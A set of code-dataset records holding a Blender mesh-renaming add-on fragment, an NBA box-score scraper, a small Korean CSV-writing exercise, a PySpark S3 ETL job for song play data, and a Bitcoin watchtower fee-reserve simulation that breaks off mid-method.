bpy.context.scene.r_generate_random_name:\n\t\t\t\t\t\n\t\t\t\t\tlow_poly.name = id_generator()\n\n\t\t\t\t\tif bpy.context.scene.r_also_rename_datablock:\n\t\t\t\t\t\tlow_poly.data.name = low_poly.name\n\n\t\t\t\telse:\n\n\t\t\t\t#Check if lowpoly doesn't already end in \"_low\".\n\n\t\t\t\t\tlow_poly_name_len = len(low_poly.name)\n\n\t\t\t\t\tif low_poly.name[low_poly_name_len - 1] == \"w\" and low_poly.name[low_poly_name_len - 2] == \"o\" and low_poly.name[low_poly_name_len - 3] == \"l\" and low_poly.name[low_poly_name_len - 4] == \"_\":\n\n\t\t\t\t\t\t#It does, remove the \"_low\".\n\n\t\t\t\t\t\tlow_poly.name = low_poly.name[:low_poly_name_len - 4]\n\n\t\t\t\t#Check if the names are not yet occupied.\n\n\t\t\t\thigh_poly_check = bpy.data.objects.get(low_poly.name + \"_high\")\n\n\t\t\t\tlow_poly_check = bpy.data.objects.get(low_poly.name + \"_low\")\n\n\t\t\t\tif high_poly_check == None and low_poly_check == None:\n\n\t\t\t\t\t#They are not, add suffixes.\n\n\t\t\t\t\thigh_poly.name = low_poly.name + \"_high\"\n\n\t\t\t\t\tif bpy.context.scene.r_also_rename_datablock:\n\t\t\t\t\t\thigh_poly.data.name = high_poly.name\n\n\t\t\t\t\tlow_poly.name = low_poly.name + \"_low\"\n\n\t\t\t\t\tif bpy.context.scene.r_also_rename_datablock:\n\t\t\t\t\t\tlow_poly.data.name = low_poly.name\n\n\t\t\t\t\t#Hide, if option toggled.\n\n\t\t\t\t\tif bpy.context.scene.r_hide_after_renaming:\n\t\t\t\t\t\t\n\t\t\t\t\t\tbpy.ops.object.hide_view_set(unselected=False)\n\n\t\t\t\telif low_poly_check == None and high_poly.name == low_poly.name + \"_high\":\n\n\t\t\t\t\t#Only the highpoly is, so add suffix only to the lowpoly.\n\n\t\t\t\t\tlow_poly.name = low_poly.name + \"_low\"\n\n\t\t\t\t\tif bpy.context.scene.r_also_rename_datablock:\n\t\t\t\t\t\tlow_poly.data.name = low_poly.name\n\n\t\t\t\t\t#Hide, if option toggled.\n\n\t\t\t\t\tif bpy.context.scene.r_hide_after_renaming:\n\n\t\t\t\t\t\tbpy.ops.object.hide_view_set(unselected=False)\n\n\t\t\t\telse:\n\n\t\t\t\t\t#Low poly name occupied.\n\n\t\t\t\t\tself.report({'ERROR'}, \"One of the names already occupied. Please rename the low poly object.\")\n\n\t\t\telse:\n\n\t\t\t\tself.report({'ERROR'}, \"Same vertex count.\")\n\n\t\t\ttempmesh1.free\n\t\t\ttempmesh2.free\n\n\t\telse:\n\n\t\t\tself.report({'ERROR'}, \"Invalid number of objects selected.\")\n\n\t\treturn {'FINISHED'}\n\nclass addButtonsInObjectMode(bpy.types.Panel):\n\tbl_idname = \"baking_namepair_objectmode\"\n\tbl_space_type = 'VIEW_3D'\n\tbl_region_type = 'TOOLS'\n\tbl_category = \"Relations\"\n\n\tbl_label = \"Baking Namepair\"\n\tbl_context = \"objectmode\"\n\n\tdef draw(self, context):\n\t\tlayout = self.layout\n\n\t\tcol = layout.column(align=True)\n\n\t\tcol.operator(\"object.baking_namepair\", text=\"Create Baking Namepair\")\n\n\t\tlayout.prop(context.scene, \"r_generate_random_name\", text=\"Generate Random Name\")\n\t\t\n\t\tlayout.prop(context.scene, \"r_hide_after_renaming\", text=\"Hide After Renaming\")\n\n\t\tlayout.prop(context.scene, \"r_also_rename_datablock\", text=\"Also Rename Datablock\")\n\ndef register():\n\n\tbpy.utils.register_module(__name__)\n\ndef unregister():\n\n\tbpy.utils.unregister_module(__name__)\n\nif __name__ == \"__main__\":\n\t\tregister()","sub_path":"baking_namepair_creator_2.79.py","file_name":"baking_namepair_creator_2.79.py","file_ext":"py","file_size_in_byte":5648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"620083440","text":"import argparse\nimport datetime\nimport os\nimport re\n\nimport requests\nfrom bs4 import BeautifulSoup\n\nbase = \"https://www.basketball-reference.com/boxscores/index.fcgi\"\ncache_dir = \".cache\"\n\nyesterdays_day = datetime.datetime.now() - datetime.timedelta(days=1)\nmin_date = datetime.datetime(1999, 10, 1)\n\n\nclass InvalidDate(Exception):\n pass\n\n\nclass Scrape:\n\n # Once initialized, this class can be used to scrape boxscores\n # for NBA games from a given day from the BasketballReference website\n\n def __init__(\n self,\n use_cache=True,\n cache_dir=cache_dir,\n year=None,\n month=None,\n day=None,\n yesterday=False,\n ):\n\n self.use_cache = use_cache\n self.cache_dir = cache_dir\n\n if yesterday:\n self.year = yesterdays_day.year\n self.month = yesterdays_day.month\n self.day = yesterdays_day.day\n\n else:\n self.year = self._get_integer_input(\"Enter a year: \") if not year else year\n self.month = (\n self._get_integer_input(\"Enter a month: \") if not month else month\n )\n self.day = self._get_integer_input(\"Enter a day: \") if not day else day\n\n try:\n # use this to determine if the date provided is valid and allows\n # us to check for things like February 33rd or other invalid\n # dates\n self.date = datetime.datetime(self.year, self.month, self.day)\n\n # if the date is a valid date, make sure that it's within this\n # arbitrary range that we have set\n if self.date < min_date or self.date > yesterdays_day:\n raise InvalidDate(\n f\"Please provide a date between {min_date.strftime('%Y-%m-%d')} and {yesterdays_day.strftime('%Y-%m-%d')}\"\n )\n\n except ValueError:\n raise InvalidDate(\n f\"{self.month}/{self.day}/{self.year} is not a valid date\"\n )\n\n # create the cache directory if it does not exists so that\n # we can cache requested webpages since they won't change\n if not os.path.isdir(self.cache_dir):\n os.mkdir(self.cache_dir)\n\n self.url = f\"{base}?month={self.month}&day={self.day}&year={self.year}\"\n self.cache_location = self._get_cache_location()\n\n def _get_integer_input(self, question):\n # this function repeatedly asks the user for an integer\n # until they actually provide one\n\n while True:\n try:\n return int(input(question))\n except ValueError:\n print(\"We need this in integer format!\")\n\n def _get_cache_location(self):\n # in order to get a consistent cache name for the request,\n # we just use a regex to remove all non alpha-numeric characters\n # from the string\n return os.path.join(self.cache_dir, re.sub(\"[^0-9a-zA-Z]+\", \"\", self.url))\n\n def _cache_webpage(self, content):\n with open(self.cache_location, \"w\") as file:\n file.write(content)\n\n def _get_cached_webpage(self):\n with open(self.cache_location, \"r\") as file:\n return file.read()\n\n def _get_webpage(self):\n\n response = requests.get(self.url).text\n if self.use_cache:\n self._cache_webpage(response)\n\n return response\n\n def _get_games(self, webpage):\n\n return webpage.select(\"div.game_summary.expanded.nohover\")\n\n def get_boxscores(self):\n\n # check if the page is cached and if we are supposed to\n # use the cache, if both are true then just use the cached version\n if os.path.exists(self._get_cache_location()) and self.use_cache:\n response = self._get_cached_webpage()\n else:\n response = self._get_webpage()\n\n webpage = BeautifulSoup(response, \"html.parser\")\n games = self._get_games(webpage)\n\n grid = []\n\n for game in games:\n\n teams = game.select(\"table.teams tr\")\n stats = game.select(\"table.stats tr\")\n\n # scores table is the only one that doesnt have classnames associated\n # with it, so we basically just take the exclusion of the other two\n scores = game.select(\"table:not(.teams):not(.stats) tbody tr\")\n\n # skip games that dont provide two teams because it's not appropriately\n # formatted\n if len(teams) != 2:\n continue\n\n home_quarters = [quarter.text for quarter in scores[1].select(\"td\")[1:]]\n away_quarters = [quarter.text for quarter in scores[0].select(\"td\")[1:]]\n\n # for games that didnt go to overtime, add in an empty marker to show\n # that it didnt go to overtime\n while len(home_quarters) < 5:\n home_quarters.append(\"-\")\n\n while len(away_quarters) < 5:\n away_quarters.append(\"-\")\n\n # for games that did go to overtime, squash all overtimes to one number\n # so even if there were 2, 3 etc... overtimes, we only use one column\n if len(home_quarters) > 5:\n home_quarters[4] = str(sum([int(value) for value in home_quarters[4:]]))\n home_quarters = home_quarters[:5]\n\n if len(away_quarters) > 5:\n away_quarters[4] = str(sum([int(value) for value in away_quarters[4:]]))\n away_quarters = away_quarters[:5]\n\n # grab some of the team info from the rows\n home_team, home_final_score, home_link = teams[1].select(\"td\")\n away_team, away_final_score, away_link = teams[0].select(\"td\")\n\n grid.append([away_team.text] + away_quarters + [away_final_score.text])\n grid.append([home_team.text] + home_quarters + [home_final_score.text])\n\n return grid\n\n\ndef print_table(grid, max_width=20, col_padding=2):\n # given a two dimensional array, this will print that \"grid\" out\n # into a table like format so that it is easier to read in the terminal\n it = iter(grid)\n for row in it:\n\n def format_row(row):\n return \"\".join(\n [\n \"{0}{1}\".format(\n col[:max_width],\n \" \" * max(col_padding, max_width + col_padding - len(col)),\n )\n for col in row\n ]\n )\n\n print(format_row(row))\n print(format_row(next(it)))\n print(\"\")\n\n\ndef print_csv(grid):\n for row in grid:\n print(\",\".join(row))\n\n\nif __name__ == \"__main__\":\n\n parser = argparse.ArgumentParser(\n description=\"command line interface for checking the NBA boxscores for a given day\"\n )\n parser.add_argument(\n \"-y\", \"--year\", help=\"year for the target day's games\", type=int\n )\n parser.add_argument(\n \"-m\", \"--month\", help=\"month number for the target day's games\", type=int\n )\n parser.add_argument(\n \"-d\", \"--day\", help=\"day number for the target day's games\", type=int\n )\n parser.add_argument(\n \"--yesterday\", help=\"use yesterday's date\", action=\"store_true\", default=False\n )\n parser.add_argument(\n \"--disable_cache\",\n help=\"disable the use of cached webpages\",\n action=\"store_true\",\n default=False,\n )\n parser.add_argument(\n \"--csv\",\n help=\"print the data in csv format rather than table\",\n action=\"store_true\",\n default=False,\n )\n parser.add_argument(\n \"-c\",\n \"--cache_dir\",\n help=\"directory to cache webpages in to lighten the requests load\",\n default=cache_dir,\n )\n\n try:\n args = parser.parse_args()\n scraper = Scrape(\n use_cache=not args.disable_cache,\n cache_dir=args.cache_dir,\n year=args.year,\n month=args.month,\n day=args.day,\n yesterday=args.yesterday,\n )\n\n grid = scraper.get_boxscores()\n if len(grid) == 0:\n grid.append([\"\\nNo Games Found\", \"\", \"\\n\"])\n\n if args.csv:\n print_csv([[\"Team\", \"1Q\", \"2Q\", \"3Q\", \"4Q\", \"OT\", \"F\"]] + grid)\n else:\n print_table(\n [\n [f\"Date: {scraper.month}/{scraper.day}/{scraper.year}\", \"\", \"\"],\n [\"Team\", \"1Q\", \"2Q\", \"3Q\", \"4Q\", \"OT\", \"F\"],\n ]\n + grid\n )\n\n except InvalidDate as e:\n print(e)\n exit(1)\n","sub_path":"scrape/scrape.py","file_name":"scrape.py","file_ext":"py","file_size_in_byte":8520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"32808163","text":"# key값이 최소 3개 이상인 dictionary를 최소 3개 포함한 리스트를 csv파일로 만들어서 저장하는 함수 만들기 \n# 저장한 csv 파일을 불러와서 다시 dictionary로 변환하는 함수를 만들기 \nimport pprint\nvalues = [{\n \"name\": 'moon',\n 'phone': '010-2170-3990',\n 'city': 'seoul'\n} for _ in range(3)]\n\ndef to_csv(value):\n keys = []\n for el in value[0]:\n keys.append(el)\n # keys = ['name', 'phone', 'city']\n results = []\n for d in value:\n result = []\n for el in d.values():\n result.append(el)\n results.append(result)\n # resutl = [\n # ['moon', '010-21703990', 'seoul'],\n # ['moon', '010-21703990', 'seoul'],\n # ['moon', '010-21703990', 'seoul'],\n # ]\n content = ', '.join(keys) + '\\n'\n for result in results:\n content += ', '.join(result) + '\\n'\n f = open('./csv_file.txt', 'w')\n f.write(content)\n f.close()\n\nto_csv(values)\n# name, phone, city\n# moon, 010-2170-3990, seoul\n# moon, 010-2170-3990, seoul\n# moon, 010-2170-3990, seoul\n","sub_path":"Class_History/file.py","file_name":"file.py","file_ext":"py","file_size_in_byte":1079,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"5628256","text":"import os\nimport sys\nimport configparser\nfrom datetime import datetime\nfrom functools import reduce\nfrom pyspark.sql import SparkSession\nfrom pyspark.sql.functions import udf, year, month, dayofmonth, weekofyear,\\\n hour, from_unixtime, col, when,\\\n regexp_extract, row_number, lit, desc,\\\n monotonically_increasing_id\n\n\nconfig = configparser.ConfigParser()\nconfig.read('dl.cfg')\n\nos.environ['AWS_ACCESS_KEY_ID']=config['AWS']['AWS_ACCESS_KEY_ID']\nos.environ['AWS_SECRET_ACCESS_KEY']=config['AWS']['AWS_SECRET_ACCESS_KEY']\n\n\ndef create_spark_session():\n \"\"\" Creates and returns a new spark session \"\"\"\n \n spark = SparkSession \\\n .builder \\\n .config(\"spark.jars.packages\", \"org.apache.hadoop:hadoop-aws:2.7.0\") \\\n .getOrCreate()\n return spark\n\ndef blank_to_null(x):\n \"\"\" Replace blanks (whitespace) with null value \"\"\"\n return when(col(x) == regexp_extract(col(x), \"(^\\\\s*$)\", 1), None).otherwise(col(x))\n\ndef non_null_df(df, required_cols):\n \"\"\" Returns rows of dataframe where non-null values are in all required columns \"\"\"\n return df.where(reduce(lambda x, y: x & y, (col(x).isNotNull() for x in required_cols)))\n\ndef process_song_data(spark, input_data, output_data):\n \n \"\"\"\n Description: This function extracts data from s3 json files to create song and\n artist tables. It writes the new tables in parquet format to an output location\n \n Parameters:\n spark: active spark session\n input_data: location of folder with song_data JSON subfolders\n output_data: location to save output parquet files\n \"\"\"\n # get filepath to song data file\n song_data = os.path.join(input_data, 'song_data/*/*/*/*.json')\n \n # read song data file\n df = spark.read.json(song_data)\n df.cache()\n\n song_fields = ['song_id', 'title', 'artist_id', 'year', 'duration']\n \n # select distinct songs, fill null years with 0 since we need a year to partition on write\n songs = df.select(song_fields).fillna(0, subset=['year']).distinct()\n \n # remove any rows that nulls in our necessary fields\n required_cols = ['song_id', 'title', 'artist_id']\n songs = non_null_df(songs, required_cols)\n \n # write partitions to disk\n songs.write.mode('overwrite').partitionBy(\n 'year', 'artist_id').parquet(os.path.join(output_data, 'songs'))\n \n artist_fields = ['artist_id', 'artist_name', 'artist_location',\n 'artist_latitude', 'artist_longitude']\n \n # select distinct artists, replace blank artist location values with null\n artists = df.select(artist_fields).distinct()\\\n .withColumn('artist_location', blank_to_null('artist_location'))\n \n # remove rows missing required fields\n required_cols = ['artist_id', 'artist_name']\n artists = non_null_df(artists, required_cols)\n artists.write.mode('overwrite').parquet(os.path.join(output_data, 'artists'))\n \ndef process_log_data(spark, input_data, output_data):\n \n \"\"\"\n Description: This function extracts data from s3 json files to create user, time\n and songplays tables with the help of save song and artists tables. It then outputs\n the newly created tables in parquet format to s3\n \n Parameters:\n spark: active spark session\n input_data: location with event/log json files in subdirectories\n output_data: location to save parquet files\n \"\"\"\n \n # get filepath to log data file\n log_data = os.path.join(input_data, 'log_data/*.json')\n \n # read log data files\n df = spark.read.json(log_data)\n df.cache()\n \n # filter by actions for song plays\n df = df.filter(df['page'] == 'NextSong') \n\n # select distinct users and drop any row that has a null for any column value\n users = df.select(col('userId').alias('user_id'),\n col('firstName').alias('first_name'),\n col('lastName').alias('last_name'), col('gender'),\n col('level')).distinct().dropna('any')\n \n # write to partitioned parquest files\n users.write.mode('overwrite').parquet(os.path.join(output_data, 'users'))\n \n # udf for day of week\n dayofweek = udf(lambda x: datetime.strptime(x, '%Y-%m-%d %H:%M:%S').strftime('%w'))\n\n # select distinct times and convert to timestamps, dropping nulls\n timestamps = df.select('ts').distinct().withColumn(\n 'ts', from_unixtime(col('ts')/1000, 'yyyy-MM-dd HH:mm:ss')).dropna('any')\n \n # extract specifics of timestamp\n times = timestamps.select(col('ts').alias('start_time'),\n hour('ts').alias('hour'),\n dayofmonth('ts').alias('day'),\n weekofyear('ts').alias('week'),\n month('ts').alias('month'), year('ts').alias('year'), \n dayofweek(col('ts')).alias('weekday'))\n\n # write partitioned parquet files\n times.write.mode('overwrite').partitionBy('year', 'month')\\\n .parquet(os.path.join(output_data, 'times'))\n\n # read in song and artist data to use for songplays table\n songs_df = spark.read.parquet(os.path.join(output_data, 'songs/*/*/*.parquet'))\n artists_df = spark.read.parquet(os.path.join(output_data, 'artists/*.parquet'))\n\n # join songs and events \n log_song_df = df.join(songs_df, songs_df.title == df.song)\n log_song_artist_df = log_song_df.join(artists_df, artists_df.artist_name == df.artist)\n \n # select distinct songplays and add id for unique increasing id\n songplays = log_song_artist_df.select(col('ts'),\n col('userId').alias('user_id'),\n col('level'),\n col('song_id'),\n col('artist_id'),\n col('sessionId').alias('session_id'),\n col('location'),\n col('userAgent').alias('user_agent'))\\\n .distinct()\\\n .withColumn('start_time', from_unixtime(col('ts')/1000, 'yyyy-MM-dd HH:mm:ss'))\\\n .withColumn('year', year(col('start_time')))\\\n .withColumn('month', month(col('start_time')))\\\n .drop('ts')\\\n .withColumn('sonplay_id', monotonically_increasing_id())\n \n # write partitioned parquet files\n songplays.write.mode('overwrite').partitionBy('year', 'month')\\\n .parquet(os.path.join(output_data, 'songplays'))\n\ndef main(env='aws'):\n spark = create_spark_session()\n \n if env == 'local':\n input_data = './'\n output_data = './output/'\n else:\n input_data = \"s3a://udacity-dend/\"\n output_data = \"s3a://tyler-sparkify-output/output/\"\n \n process_song_data(spark, input_data, output_data) \n process_log_data(spark, input_data, output_data)\n spark.stop()\n\n\nif __name__ == \"__main__\":\n if len(sys.argv) == 2 and sys.argv[1] == 'local':\n main('local')\n else:\n main()\n","sub_path":"04_data_lakes_with_spark/etl.py","file_name":"etl.py","file_ext":"py","file_size_in_byte":7269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"213440853","text":"import logging\nimport math\nimport numpy as np\nimport random\n\nfrom matplotlib import pyplot as plt\nfrom pandas import DataFrame\nfrom statemachine import StateMachine, AllocationError, ProcessingState\nfrom transactions import ConsolidateFanoutTx, CancelTx\nfrom utils import (\n cf_tx_size,\n P2WPKH_INPUT_SIZE,\n P2WPKH_OUTPUT_SIZE,\n TX_OVERHEAD_SIZE,\n BLOCKS_PER_DAY,\n REFILL_TX_SIZE,\n MAX_TX_SIZE,\n VAULT_AMOUNT,\n)\n\n\nclass NoVaultToSpend(RuntimeError):\n pass\n\n\nclass Simulation(object):\n \"\"\"Simulator for fee-reserve management of a Revault Watchtower.\"\"\"\n\n def __init__(\n self,\n n_stk,\n n_man,\n locktime,\n hist_feerate_csv,\n reserve_strat,\n fallback_est_strat,\n cf_coin_selec,\n cancel_coin_selec,\n num_vaults,\n refill_excess,\n refill_period,\n unvault_rate,\n invalid_spend_rate,\n catastrophe_rate,\n delegate_rate,\n with_balance=False,\n with_divergence=False,\n with_op_cost=False,\n with_cum_op_cost=False,\n with_overpayments=False,\n with_risk_status=False,\n with_risk_time=False,\n with_fb_coins_dist=False,\n ):\n # Simulation parameters\n self.num_vaults = num_vaults\n self.refill_excess = refill_excess\n self.refill_period = refill_period\n self.unvault_rate = unvault_rate\n self.delegate_rate = delegate_rate\n\n # Manager parameters\n self.invalid_spend_rate = invalid_spend_rate\n self.catastrophe_rate = catastrophe_rate\n\n # WT state machine\n self.wt = StateMachine(\n n_stk,\n n_man,\n locktime,\n hist_feerate_csv,\n reserve_strat,\n fallback_est_strat,\n cf_coin_selec,\n cancel_coin_selec,\n )\n self.vault_id = 0\n\n # Plots configuration\n self.with_balance = with_balance\n self.balances = []\n self.with_divergence = with_divergence\n self.divergence = []\n self.with_op_cost = with_op_cost\n self.with_cum_op_cost = with_cum_op_cost\n self.costs = []\n self.wt_risk_time = []\n self.with_overpayments = with_overpayments\n self.overpayments = []\n self.with_risk_status = with_risk_status\n self.risk_status = []\n self.with_fb_coins_dist = with_fb_coins_dist\n self.fb_coins_dist = []\n self.scale_fixed = delegate_rate is None\n\n # Simulation report\n self.delegation_failures = 0\n self.delegation_successes = 0\n self.report_init = f\"\"\"\\\n Watchtower config:\\n\\\n n_stk: {n_stk}\\n\\\n n_man: {n_man}\\n\\\n locktime: {locktime}\\n\\\n hist_feerate_csv: {hist_feerate_csv}\\n\\\n reserve_strat: {reserve_strat}\\n\\\n fallback_est_strat: {fallback_est_strat}\\n\\\n cf_coin_selec: {cf_coin_selec}\\n\\\n cancel_coin_selec: {cancel_coin_selec}\\n\\\n Simulation config:\\n\\\n Number of vaults: {self.num_vaults}\\n\\\n Refill excess: {self.refill_excess}\\n\\\n Expected active vaults: {self.num_vaults}\\n\\\n Refill period: {self.refill_period}\\n\\\n Unvault rate: {self.unvault_rate}\\n\\\n Invalid spend rate: {self.invalid_spend_rate}\\n\\\n Catastrophe rate: {self.catastrophe_rate}\\n\\\n Delegate rate: {self.delegate_rate}\\n\\\n \"\"\"\n self.report_df = DataFrame(\n columns=[\n \"mean_balance\",\n \"cum_ops_cost\",\n \"cum_cancel_fee\",\n \"cum_cf_fee\",\n \"cum_refill_fee\",\n \"time_at_risk\",\n \"mean_recovery_time\",\n \"median_recovery_time\",\n \"max_recovery_time\",\n \"delegation_failure_count\",\n \"delegation_failure_rate\",\n \"max_cancel_conf_time\",\n \"max_cf_conf_time\",\n \"max_risk_coef\",\n ],\n index=[0],\n )\n\n def new_vault_id(self):\n self.vault_id += 1\n return self.vault_id\n\n def required_reserve_per_vault(self, block_height):\n \"\"\"The absolute amount of sats the WT should have in reserve per vault.\n\n Note how the required reserve differs from the reserve feerate times the\n cancel transaction size and the number of vaults: the absolute amount of\n BTC also accounts for the cost of including a coin in the tx vin.\n \"\"\"\n return sum(self.wt.fb_coins_dist(block_height))\n\n def required_reserve(self, block_height):\n \"\"\"The total absolute amount of sats the WT should have in reserve.\"\"\"\n return self.wt.vaults_count() * self.required_reserve_per_vault(block_height)\n\n def refill_amount(self, block_height, expected_new_vaults):\n \"\"\"Returns amount to refill to ensure WT has sufficient operating balance.\n Used by stakeholder wallet software. R(t, E) in the paper.\n\n Note: stakeholder knows WT's balance, num_vaults, fb_coins_dist.\n Stakeholder doesn't know which coins are allocated or not.\n \"\"\"\n # First of all get the overall needed reserve\n balance = self.wt.balance()\n target_dist = self.wt.fb_coins_dist(block_height)\n amount_needed_per_vault = sum(target_dist)\n reserve_needed = amount_needed_per_vault * (\n expected_new_vaults + self.wt.vaults_count() + self.refill_excess\n )\n\n # Refill if the balance is very low. Always refill an amount sufficient to create\n # at least one dist.\n if balance > reserve_needed * 1.01:\n return 0\n refill_amount = max(reserve_needed - balance, amount_needed_per_vault)\n\n # In addition to the absolute amount the WT wallet will need to pay the fee\n # for the CF transaction(s). Since it'll do it immediately we can estimate\n # the worst case feerate and add some slack to it.\n # FIXME: we assume there is only a single one..\n cf_feerate = self.wt.next_block_feerate(block_height)\n # We can't know how many inputs there will be to the CF tx since we don't know\n # how many coins will be consolidated. We arbitrarily assume 2% of thecoins will (FIXME)\n consolidated_coins_count = int(self.wt.coin_pool.n_coins() // 50) + 1\n cf_num_inputs = 1 + consolidated_coins_count\n # Same for the number of outputs. We assume the WT will create as many distributions\n # as it can from the new refill (rounded up), plus the number of coins it consolidated\n # (hence overestimating)\n new_dists = math.ceil(refill_amount / amount_needed_per_vault)\n cf_num_outputs = new_dists * len(target_dist)\n cf_fee = cf_tx_size(cf_num_inputs, cf_num_outputs) * cf_feerate\n\n refill_amount += cf_fee\n return int(refill_amount)\n\n def compute_reserve_divergence(self, block_height):\n \"\"\"Compute how far the vault's reserves have divereged from the current fee reserve per vault.\n Compute the risk status; the total amount (satoshis) below the required reserve among available vaults.\"\"\"\n vaults = self.wt.list_available_vaults()\n if len(vaults) == 0 or not (self.with_divergence or self.with_risk_status):\n return\n\n divergence = []\n for vault in vaults:\n div = vault.reserve_balance() - self.required_reserve_per_vault(\n block_height\n )\n divergence.append(div)\n if self.with_divergence:\n self.divergence.append(\n [\n block_height,\n sum(divergence) / len(vaults),\n min(divergence),\n max(divergence),\n ]\n )\n\n if self.with_risk_status:\n risk_by_vault = [abs(div) for div in divergence if div < 0]\n nominal_risk = sum(risk_by_vault)\n risk_coefficient = len(risk_by_vault) / len(vaults) * nominal_risk\n self.risk_status.append((block_height, risk_coefficient))\n\n def broadcast_cf_tx(self, block_height):\n cf_fee = self.wt.broadcast_consolidate_fanout(block_height)\n logging.info(\n f\" Consolidate-fanout transition at block {block_height} with fee:\"\n f\" {cf_fee}\"\n )\n if self.cf_fee is None:\n self.cf_fee = 0\n self.cf_fee += cf_fee\n\n def refill_sequence(self, block_height, expected_new_vaults):\n refill_amount = self.refill_amount(block_height, expected_new_vaults)\n if refill_amount == 0:\n logging.info(\" Refill not required, WT has enough bitcoin\")\n return\n\n logging.info(f\"Refill sequence at block {block_height}\")\n logging.info(f\" Refill transition at block {block_height} by {refill_amount}\")\n self.wt.refill(refill_amount)\n\n feerate = self.wt.next_block_feerate(block_height)\n self.refill_fee = REFILL_TX_SIZE * feerate\n self.broadcast_cf_tx(block_height)\n\n def delegate_sequence(self, block_height):\n # Top up allocations before processing a delegation, because time has passed, and\n # we mustn't accept a delegation if the available coin pool is insufficient.\n self.top_up_sequence(block_height)\n\n # Try to allocate fb coins from the pool to the new vault.\n vault_id = self.new_vault_id()\n logging.info(\n f\" Allocation transition at block {block_height} to vault {vault_id}\"\n )\n try:\n self.wt.allocate(vault_id, VAULT_AMOUNT, block_height)\n self.delegation_successes += 1\n except AllocationError as e:\n logging.error(\n f\" Allocation transition FAILED for vault {vault_id}: {str(e)}\"\n )\n self.delegation_failures += 1\n\n def top_up_sequence(self, block_height):\n # FIXME: that's ugly and confusing. What happens here is that allocate() will\n # return early if the vault doesn't need to be allocated, hence not raising. We\n # should check this here instead.\n\n # loop over copy since allocate may remove an element, changing list index\n for vault in list(self.wt.list_available_vaults()):\n try:\n # Allocation transition\n logging.info(\n f\" Allocation transition at block {block_height} to vault\"\n f\" {vault.id}\"\n )\n assert isinstance(vault.amount, int)\n self.wt.allocate(vault.id, vault.amount, block_height)\n except AllocationError as e:\n logging.error(\n f\" Allocation transition FAILED for vault {vault.id}: {str(e)}\"\n )\n\n def spend(self, block_height):\n if len(self.wt.list_available_vaults()) == 0:\n raise NoVaultToSpend\n\n vault_id = random.choice(self.wt.list_available_vaults()).id\n logging.info(\n f\" Spend transition with vault {vault_id} at block {block_height}\"\n )\n self.wt.spend(vault_id, block_height)\n\n def cancel(self, block_height):\n if len(self.wt.list_available_vaults()) == 0:\n raise NoVaultToSpend\n\n vault_id = random.choice(self.wt.list_available_vaults()).id\n # Cancel transition\n cancel_inputs = self.wt.broadcast_cancel(vault_id, block_height)\n self.cancel_fee = sum(coin.amount for coin in cancel_inputs)\n logging.info(\n f\" Cancel transition with vault {vault_id} for fee: {self.cancel_fee}\"\n )\n\n # Compute overpayments\n if self.with_overpayments:\n feerate = self.wt.next_block_feerate(block_height)\n needed_fee = self.wt.cancel_tx_fee(feerate, len(cancel_inputs))\n self.overpayments.append([block_height, self.cancel_fee - needed_fee])\n\n def catastrophe_sequence(self, block_height):\n if len(self.wt.list_available_vaults()) == 0:\n raise NoVaultToSpend\n\n self.top_up_sequence(block_height)\n logging.info(f\"Catastrophe sequence at block {block_height}\")\n for vault in self.wt.list_available_vaults():\n # Cancel transition\n cancel_inputs = self.wt.broadcast_cancel(vault.id, block_height)\n # If a cancel fee has already been paid this block, sum those fees\n # so that when plotting costs this will appear as one total operation\n # rather than several separate cancel operations\n cancel_fee = sum(coin.amount for coin in cancel_inputs)\n if self.cancel_fee is not None:\n self.cancel_fee += cancel_fee\n else:\n self.cancel_fee = cancel_fee\n logging.info(\n f\" Cancel transition with vault {vault.id} for fee: {cancel_fee}\"\n )\n\n def confirm_sequence(self, height):\n \"\"\"State transition which considers each tx in WT's mempool and checks if the offered\n fee-rate is sufficient.\n If so, applies the transaction to the state.\n If not, handles rejection for cancel transaction type or does nothing for others.\n \"\"\"\n for tx in self.wt.unconfirmed_transactions():\n if isinstance(tx, ConsolidateFanoutTx):\n assert (\n len(tx.txins) * P2WPKH_INPUT_SIZE\n + len(tx.txouts) * P2WPKH_OUTPUT_SIZE\n + TX_OVERHEAD_SIZE\n <= MAX_TX_SIZE\n )\n logging.debug(\n f\" Consolidate-fanout confirm transition at block {height}\"\n )\n self.wt.finalize_consolidate_fanout(tx, height)\n # Some vaults may have had (some of) their coins consolidated\n # during the cf tx, need to top up those vaults when the new\n # fanout coins become available again.\n self.top_up_sequence(height)\n # If there was a change output, proceed with the next CF tx.\n if tx.txouts[-1].processing_state == ProcessingState.UNPROCESSED:\n self.broadcast_cf_tx(height)\n elif isinstance(tx, CancelTx):\n logging.debug(f\" Cancel confirm transition at block {height}\")\n confirmed = self.wt.finalize_cancel(tx, height)\n\n # Compute overpayments\n if self.with_overpayments:\n if confirmed:\n feerate = self.wt.next_block_feerate(height)\n needed_fee = self.wt.cancel_tx_fee(feerate, len(tx.fbcoins))\n # Note: negative overpayments (underpayments) possible if minfee for block was 0\n self.overpayments.append([height, tx.fee - needed_fee])\n\n else:\n raise\n\n def run(self, start_block, end_block):\n \"\"\"Iterate from {start_block} to {end_block}, executing transitions\n according to configuration.\n \"\"\"\n self.start_block, self.end_block = start_block, end_block\n self.refill_fee, self.cf_fee, self.cancel_fee = None, None, None\n # A switch we use to determine whether we are under requirements\n is_risky = False\n\n # At startup allocate as many reserves as we expect to have vaults\n logging.info(\n f\"Initializing at block {start_block} with {self.num_vaults} new vaults\"\n )\n self.refill_sequence(start_block, self.num_vaults)\n\n # For each block in the range, simulate an action affecting the watchtower\n # (formally described as a sequence of transitions) based on the configured\n # probabilities and the historical data of the current block.\n # Then, populate some data at this block for later analysis (see the plot()\n # method).\n for block in range(start_block, end_block):\n # First of all, was any transaction confirmed in this block?\n self.confirm_sequence(block)\n\n # Refill once per refill period\n if block % self.refill_period == 0:\n self.refill_sequence(block, 0)\n\n if self.scale_fixed:\n # We always try to keep the number of expected vaults under watch. We might\n # not be able to allocate if a CF tx is pending but not yet confirmed.\n for _ in range(self.wt.vaults_count(), self.num_vaults):\n try:\n self.wt.allocate(self.new_vault_id(), VAULT_AMOUNT, block)\n except AllocationError as e:\n logging.error(\n \"Not enough funds to allocate all the expected vaults at\"\n f\" block {block}: {str(e)}\"\n )\n break\n else:\n 